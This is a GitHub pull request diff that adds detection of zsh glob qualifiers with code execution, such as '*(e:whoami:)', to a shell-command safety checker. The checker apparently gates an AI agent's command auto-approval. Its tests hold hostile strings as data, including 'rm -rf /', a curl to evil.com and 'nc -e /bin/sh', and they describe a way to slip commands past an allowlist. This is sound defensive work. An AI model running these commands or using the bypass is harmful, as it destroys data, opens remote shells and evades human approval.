-
Notifications
You must be signed in to change notification settings - Fork 2.3k
Handle zsh glob qualifiers correctly #7667
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -292,6 +292,27 @@ ls -la || echo "Failed"` | |
expect(containsDangerousSubstitution("ls =(sudo apt install malware)")).toBe(true) | ||
}) | ||
|
||
it("detects zsh glob qualifiers with code execution (e:...:)", () => { | ||
// Basic glob qualifier with command execution | ||
expect(containsDangerousSubstitution("ls *(e:whoami:)")).toBe(true) | ||
|
||
// Various glob patterns with code execution | ||
expect(containsDangerousSubstitution("cat ?(e:rm -rf /:)")).toBe(true) | ||
expect(containsDangerousSubstitution("echo +(e:sudo reboot:)")).toBe(true) | ||
expect(containsDangerousSubstitution("rm @(e:curl evil.com:)")).toBe(true) | ||
expect(containsDangerousSubstitution("touch !(e:nc -e /bin/sh:)")).toBe(true) | ||
|
||
// Glob qualifiers in middle of command | ||
expect(containsDangerousSubstitution("ls -la *(e:date:) test")).toBe(true) | ||
|
||
// Multiple glob qualifiers | ||
expect(containsDangerousSubstitution("cat *(e:whoami:) ?(e:pwd:)")).toBe(true) | ||
|
||
// Glob qualifiers with complex commands | ||
expect(containsDangerousSubstitution("ls *(e:open -a Calculator:)")).toBe(true) | ||
expect(containsDangerousSubstitution("rm *(e:sudo apt install malware:)")).toBe(true) | ||
}) | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Consider adding more edge case tests to ensure robustness:
These edge cases could help ensure the regex handles unusual but valid patterns correctly. |
||
|
||
it("does NOT flag safe parameter expansions", () => { | ||
// Regular parameter expansions without dangerous operators | ||
expect(containsDangerousSubstitution("echo ${var}")).toBe(false) | ||
|
@@ -324,6 +345,12 @@ ls -la || echo "Failed"` | |
// Safe comparison operators | ||
expect(containsDangerousSubstitution("if [ $a == $b ]; then")).toBe(false) | ||
expect(containsDangerousSubstitution("test $x != $y")).toBe(false) | ||
|
||
// Safe glob patterns without code execution qualifiers | ||
expect(containsDangerousSubstitution("ls *")).toBe(false) | ||
expect(containsDangerousSubstitution("rm *.txt")).toBe(false) | ||
expect(containsDangerousSubstitution("cat ?(foo|bar)")).toBe(false) | ||
expect(containsDangerousSubstitution("echo *(^/)")).toBe(false) // Safe glob qualifier (not e:) | ||
}) | ||
|
||
it("handles complex combinations of dangerous patterns", () => { | ||
|
@@ -349,6 +376,9 @@ ls -la || echo "Failed"` | |
|
||
// The new zsh process substitution exploit | ||
expect(containsDangerousSubstitution("ls =(open -a Calculator)")).toBe(true) | ||
|
||
// The zsh glob qualifier exploit | ||
expect(containsDangerousSubstitution("ls *(e:whoami:)")).toBe(true) | ||
}) | ||
}) | ||
}) | ||
|
@@ -965,6 +995,25 @@ describe("Unified Command Decision Functions", () => { | |
// Combined with denied commands | ||
expect(getCommandDecision("rm =(echo test)", ["echo"], ["rm"])).toBe("auto_deny") | ||
}) | ||
|
||
it("prevents auto-approval for zsh glob qualifier exploits", () => { | ||
// The zsh glob qualifier exploit with code execution | ||
const globExploit = "ls *(e:whoami:)" | ||
// Even though 'ls' might be allowed, the dangerous pattern prevents auto-approval | ||
expect(getCommandDecision(globExploit, ["ls", "echo"], [])).toBe("ask_user") | ||
|
||
// Various forms should all be blocked | ||
expect(getCommandDecision("cat ?(e:rm -rf /:)", ["cat"], [])).toBe("ask_user") | ||
expect(getCommandDecision("echo +(e:date:)", ["echo"], [])).toBe("ask_user") | ||
expect(getCommandDecision("touch @(e:pwd:)", ["touch"], [])).toBe("ask_user") | ||
expect(getCommandDecision("rm !(e:ls:)", ["rm"], [])).toBe("ask_user") // rm not in allowlist, has dangerous pattern | ||
|
||
// Combined with denied commands | ||
expect(getCommandDecision("rm *(e:echo test:)", ["echo"], ["rm"])).toBe("auto_deny") | ||
|
||
// Multiple glob qualifiers | ||
expect(getCommandDecision("ls *(e:whoami:) ?(e:pwd:)", ["ls"], [])).toBe("ask_user") | ||
}) | ||
}) | ||
|
||
it("returns auto_deny for commands with any sub-command auto-denied", () => { | ||
|
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -72,6 +72,7 @@ type ShellToken = string | { op: string } | { command: string } | |
* - ${!var} - Indirect variable references | ||
* - <<<$(...) or <<<`...` - Here-strings with command substitution | ||
* - =(...) - Zsh process substitution that executes commands | ||
* - *(e:...:) or similar - Zsh glob qualifiers with code execution | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Would it be helpful to add a link or reference to zsh documentation about glob qualifiers? This could help developers who want to learn more about this feature and understand the security implications better. |
||
* | ||
* @param source - The command string to analyze | ||
* @returns true if dangerous substitution patterns are detected, false otherwise | ||
|
@@ -105,13 +106,19 @@ export function containsDangerousSubstitution(source: string): boolean { | |
// =(...) creates a temporary file containing the output of the command, but executes it | ||
const zshProcessSubstitution = /=\([^)]+\)/.test(source) | ||
|
||
// Check for zsh glob qualifiers with code execution (e:...:) | ||
// Patterns like *(e:whoami:) or ?(e:rm -rf /:) execute commands during glob expansion | ||
// This regex matches patterns like *(e:...:), ?(e:...:), +(e:...:), @(e:...:), !(e:...:) | ||
const zshGlobQualifier = /[*?+@!]\(e:[^:]+:\)/.test(source) | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Could we consider if there are other zsh glob patterns that might also support the e: qualifier? For example, what about patterns like **(e:cmd:) for recursive globs? The current regex only matches specific glob operators. |
||
|
||
// Return true if any dangerous pattern is detected | ||
return ( | ||
dangerousParameterExpansion || | ||
parameterAssignmentWithEscapes || | ||
indirectExpansion || | ||
hereStringWithSubstitution || | ||
zshProcessSubstitution | ||
zshProcessSubstitution || | ||
zshGlobQualifier | ||
) | ||
} | ||
|
||
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Consider grouping these zsh glob qualifier tests in a dedicated describe block for better test organization, similar to how the zsh process substitution tests are grouped. This would make the test suite more maintainable and easier to navigate.